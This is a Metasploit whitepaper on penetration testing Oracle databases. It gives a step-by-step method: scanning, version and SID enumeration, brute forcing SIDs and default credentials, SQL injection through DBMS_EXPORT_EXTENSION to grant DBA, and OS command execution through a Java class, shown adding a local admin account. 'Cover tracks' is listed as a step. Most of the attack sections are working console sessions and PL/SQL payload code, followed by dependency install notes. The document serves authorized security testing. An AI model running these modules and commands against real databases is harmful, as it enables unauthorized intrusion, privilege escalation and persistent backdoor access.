Oracle Penetration Testing Using the Metasploit Framework

Chris Gates & Mario Ceballos
Metasploit Project

Abstract

Over the years there have been tons of Oracle exploits, SQL Injection vulnerabilities, and post exploitation tricks and tools that had no order, methodology, or standardization, mainly just random .sql files. Additionally, none of the publicly available Pentest Frameworks have the ability to leverage built-in package SQL Injection vulnerabilities for privilege escalation, data extraction, or getting operating system access. In this whitepaper we will present an Oracle Pentesting Methodology and give you all the tools to break the "unbreakable" Oracle as Metasploit auxiliary modules.

We've created your version and SID enumeration modules, account bruteforcing modules, ported all the public (and not so public) Oracle SQL Injection vulnerabilities into SQLI modules (with IDS evasion examples for 10g/11g), modules for OS interaction, and modules for automating some of our post exploitation tasks. The modules are currently only supported under Linux and OSX.

Oracle Penetration Testing Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USERNAME/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

Locating an Oracle System

You will typically find most Oracle installations by performing port scanning in the target netblock. The Oracle listener default port is 1521 but can listen on an port generally in the 1521-1540 range. You can also discover oracle instances by scanning other common Oracle ports. Review http://www.red-database-security.com/whitepaper/oracle_default_ports.html for common Oracle ports. Generally running a service scan will NOT give you the Oracle TNS Listener version but updated fingerprints for new versions of Nmap may yield versions in some situations.

```
cg@attack:~$ nmap -sV 192.168.0.100-105 -p 1521
Starting Nmap 4.85BETA8 ( http://nmap.org ) at 2009-06-18 15:25 EDT

Interesting ports on 192.168.0.100:
PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS Listener

Interesting ports on 192.168.0.101:

PORT     STATE SERVICE    VERSION

1521/tcp open  oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
```

You can also discover Oracle instances using search engines. Alex Kornbrust of Red-Database-Security has written two excellent whitepapers discussing this subject.[1],[2]

TNS and Oracle Mixins for Metasploit.

Two new mixins have been added to the Metasploit Trunk. The first mixin is a TNS mixin that allows Metasploit to craft TNS packets. The second mixin is an Oracle mixin that allows us to use some additional libaries to wrap Oracle commands.

The TNS mixin is handy because it essentially replaces tnscmd.pl you can pass any data you want inside the TNS packet.

```
Connect

 connect_data="(CONNECT_DATA=(COMMAND=VERSION))"

   pkt = tns_packet(connect_data)
   sock.put(pkt)
   sock.get_once
   res = sock.get_once(-1,2)
     puts res
 disconnect
```

The Oracle mixin serves as the wrapper code for ruby-dbi, ruby-oci8, and the oracle sqlplus client. It handles connecting to the remote database, sending SQL queries and disconnecting. The core of this functionality is found in the prepare_exec() method. This method connects to the database using DBI

```
DBI.connect(

"DBI:OCI8://#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
"#{datastore['DBUSER']}",

"#{datastore['DBPASS']}"

 )
```

and then passes whatever data (SQL) you specify.

```
function = "
              CREATE OR REPLACE FUNCTION #{p}
              RETURN NUMBER AUTHID CURRENT_USER AS
              PRAGMA AUTONOMOUS_TRANSACTION;
              BEGIN
              EXECUTE IMMEDIATE '#{datastore['SQL']}';
              COMMIT;
              RETURN(0);
```

1 http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf
2 http://www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf

```
            END;
            "
begin

            print_status("Sending function...")
            prepare_exec(function)

end
```

Determine Oracle Version using Metasploit Modules.

A Oracle version scanner using the TNS mixin has been added to the Metasploit trunk.

```
msf auxiliary(tnslsnr_version) > info

       Name: Oracle tnslsnr Service Version Query.
    Version: 6479
    License: Metasploit Framework License (BSD)

Provided by:
  CG
Basic options:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target address range or CIDR identifier
  RPORT    1521             yes       The target port
  THREADS  1                yes       The number of concurrent threads

Description:
  This module simply queries the tnslsnr service for the Oracle build.

msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.100
RHOSTS => 192.168.0.100
msf auxiliary(tnslsnr_version) > run
[*] Host 192.168.0.100
 is running: 32-bit Windows: Version 10.2.0.1.0 - Production

msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.101
RHOSTS => 192.168.0.101
msf auxiliary(tnslsnr_version) > run
[*] Host 192.168.0.101 is running: 32-bit Windows: Version 9.2.0.7.0 – Production

msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.102
RHOSTS => 192.168.0.102
msf auxiliary(tnslsnr_version) > run
[*] Host 192.168.0.102 is running: Solaris: Version 10.2.0.1.0 - Production

msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.103
RHOSTS => 192.168.0.103
msf auxiliary(tnslsnr_version) > run
[*] Host 192.168.0.103 is running: Linux: Version 11.1.0.6.0 - Production
[*] Auxiliary module execution completed
```

Determine Oracle SID using Metasploit Modules

Oracle prior to 9.2.0.8 will just return the SID if requested. After 9.2.0.8 and for all new versions of Oracle you have to guess, bruteforce, or otherwise determine the SID.

```
[*] Host 192.168.0.105 is running: 32-bit Windows: Version 9.2.0.1.0 - Production
msf > use auxiliary/scanner/oracle/sid_enum
msf auxiliary(sid_enum) set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf auxiliary(sid_enum) > run
[*] Identified SID for 192.168.0.105: PLSExtProc
[*] Identified SID for 192.168.0.105: cyxt
[*] Identified SERVICE_NAME for 192.168.0.105: PLSExtProc
[*] Identified SERVICE_NAME for 192.168.0.105: cyxt
[*] Identified SERVICE_NAME for 192.168.0.105: cyxtXDB
[*] Auxiliary module execution completed
```

Bruteforcing the SID

We use the Service ID (SID) list from Red-Database-Security[3] and perform a dictionary attack.

```
msf auxiliary(sid_brute) > run

[*] Starting brute force on 192.168.0.103, using sids
from /home/cg/evil/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host 192.168.0.103
[*] Auxiliary module execution completed
```

Using other Oracle components to determine the SID

We can use other Oracle servlets and applications to learn the SID if they are available.

Enterprise Manger Console example:

3 http://www.red-database-security.com/scripts/sid.txt

```
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid
msf auxiliary(oas_sid) > run
[*] Discovered SID: 'orc10' for host 172.10.1.109
[*] Auxiliary module execution completed
msf auxiliary(oas_sid) >
```

Servelet/spy example:

```
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid
msf auxiliary(spy_sid) > run
[*] Discovered SID: 'orcl' for host 192.168.0.103
[*] Auxiliary module execution completed
msf auxiliary(spy_sid) >
```

Guess/Bruteforce USER/PASS

We use Pete Finnigan's default password list[4]

```
msf auxiliary(brute_login) > run
.
[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(brute_login) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109
type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
```

SQL Injection for Privilege Escalation

```
msf > use auxiliary/sqli/oracle/dbms_export_extension
msf auxiliary(dbms_export_extension) > info

Name: SQL Injection via DBMS_EXPORT_EXTENSION.
Version: $Revision:$

Provided by:
MC

Basic options:
Name Current Setting Required Description
```

4 http://www.petefinnigan.com/default/default_password_list.htm

```
----  --------------  --------  -----------
SQL     GRANT DBA TO SCOTT      yes   no SQL to run.
DBPASS  TIGER       yes The password to authenticate as.
DBUSER  SCOTT       yes The username to authenticate as.
RHOST   127.0.0.1   yes The Oracle host.
RPORT   1521 yes    The TNS port.
SID     DEMO yes    The sid to authenticate with.

Description:
This module will escalate a Oracle DB user to DBA by exploiting an
sql injection bug in the DBMS_EXPORT_EXTENSION package.

msf auxiliary(dbms_export_extension) > set RHOST 192.168.100.25
RHOST => 192.168.100.25
msf auxiliary(dbms_export_extension) > set SID UNLUCKY
SID => UNLUCKY
msf auxiliary(dbms_export_extension) > run

[*] Sending package...
[*] Done...
[*] Sending body...
[*] Done...
[*] Sending declare...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(dbms_export_extension) >
```

Verify it worked

```
msf auxiliary(oracle_sql) > set SQL select * from user_role_privs
SQL => select * from user_role_privs
msf auxiliary(oracle_sql) > run

[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,DBA,NO,YES,NO <--New Privileges :-)
[*] SCOTT,RESOURCE,NO,YES,NO
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(oracle_sql) >
```

Post Exploitation

The primary module for post exploitation that will be released is the win32_exec module.

This module creates a java class to execute system commands, executes those commands, then deletes the class. Similar to this: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql. This technique is also discussed in the Oracle Hacker's Handbook by David Litchfield.

```
msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234 /add"
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd1234 /add'
[*] Done...
[*] Auxiliary module execution completed
```

Useful Site for Oracle Hacking

http://www.red-database-security.com/
http://www.petefinnigan.com/
http://rawlab.mindcreations.com/
http://www.0xdeadbeef.info/
http://dsecrg.com/
http://www.databasesecurity.com/
http://www.davidlitchfield.com/security.htm
http://www.ngssoftware.com/research/
http://sourceforge.net/projects/inguma
http://www.oracleforensics.com/wordpress/

Dependency Installation Instructions

Oracle Mixin Install Notes for Linux
-tested on Ubuntu 8.10 & 9.04

-start with a working version of metasploit trunk

```
############################
# install oracle instantclient
# http://www.oracle.com/technology/software/tech/oci/instantclient/index.html
# recommend instantclient 10, this should allow you to talk with 8,9,10,&11
versions.
############################
```

Grab
*Instant Client Package - Basic
*Instant Client Package - SDK
*Instant Client Package - SQL*Plus **not needed for metasploit but useful to have

```
--unzip into /opt/oracle
cg@segfault:~/$ cd /opt/oracle
cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient-
basic-10.2.0.4-1.i386.zip
cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient-
sqlplus-10.2.0.4-1.i386.zi
cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient-
devel-10.2.0.4-1.i386.zip
```

it will unzip everything into /opt/oracle/instantclient_10_2/

create your symlink

```
cg@segfault:/opt/oracle/instantclient_10_2$ ln -s libclntsh.so.10.1 libclntsh.so

########################
# Set up your enviroment
########################


.bashrc
export PATH=$PATH:/opt/oracle/instantclient_10_2
export SQLPATH=/opt/oracle/instantclient_10_2
export TNS_ADMIN=/opt/oracle/instantclient_10_2
export LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2
export ORACLE_HOME=/opt/oracle/instantclient_10_2

########################
# Install ruby-dbi-0.1.1
# http://rubyforge.org/projects/ruby-dbi/
# http://rubyforge.org/frs/download.php/12368/dbi-0.1.1.tar.gz
########################

cg@segfault:~$ tar xvzf dbi-0.1.1.tar.gz
cg@segfault:~$ cd ruby-dbi/
 (Hint: Cat the ../ruby-dbi/README file in another terminal for reference)
cg@segfault:~/ruby-dbi$ ruby setup.rb config --with=dbi,dbd_pg
cg@segfault:~/ruby-dbi$ ruby setup.rb setup
cg@segfault:~/ruby-dbi$ sudo ruby setup.rb install
```

```
########################
# Install ruby-oci8-1.0.0
# http://rubyforge.org/projects/ruby-oci8/
# http://rubyforge.org/frs/download.php/28396/ruby-oci8-1.0.0.tar.gz
########################

cg@segfault:~$ tar xvzf ruby-oci8-1.0.0.tar.gz
cg@segfault:~$ cd ruby-oci8-1.0.0/
 (Hint: Cat the ..ruby-oci8-1.0.0/README file in another terminal for reference)
cg@segfault:~/ruby-oci8-1.0.0$ env
cg@segfault:~/ruby-oci8-1.0.0$ LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2/
cg@segfault:~/ruby-oci8-1.0.0$ export LD_LIBRARY_PATH
cg@segfault:~/ruby-oci8-1.0.0$ env | grep LD_LIBRARY_PATH
cg@segfault:~/ruby-oci8-1.0.0$ make
cg@segfault:~/ruby-oci8-1.0.0$ sudo make install


########################
# verify sqlplus works
########################

cg@segfault:~$ sqlplus

SQL*Plus: Release 10.2.0.4.0 - Production on Sun May 3 12:24:51 2009

Copyright (c) 1982, 2007, Oracle. All Rights Reserved.

Enter user-name:

########################
# test the Oracle modules
########################

msf auxiliary(sql) > run

[*] Sending SQL...
[*] Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
[*] PL/SQL Release 8.1.7.0.0 - Production
[*] CORE 8.1.7.0.0 Production
[*] TNS for Solaris: Version 8.1.7.0.0 - Production
[*] NLSRTL Version 3.4.1.0.0 - Production
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
```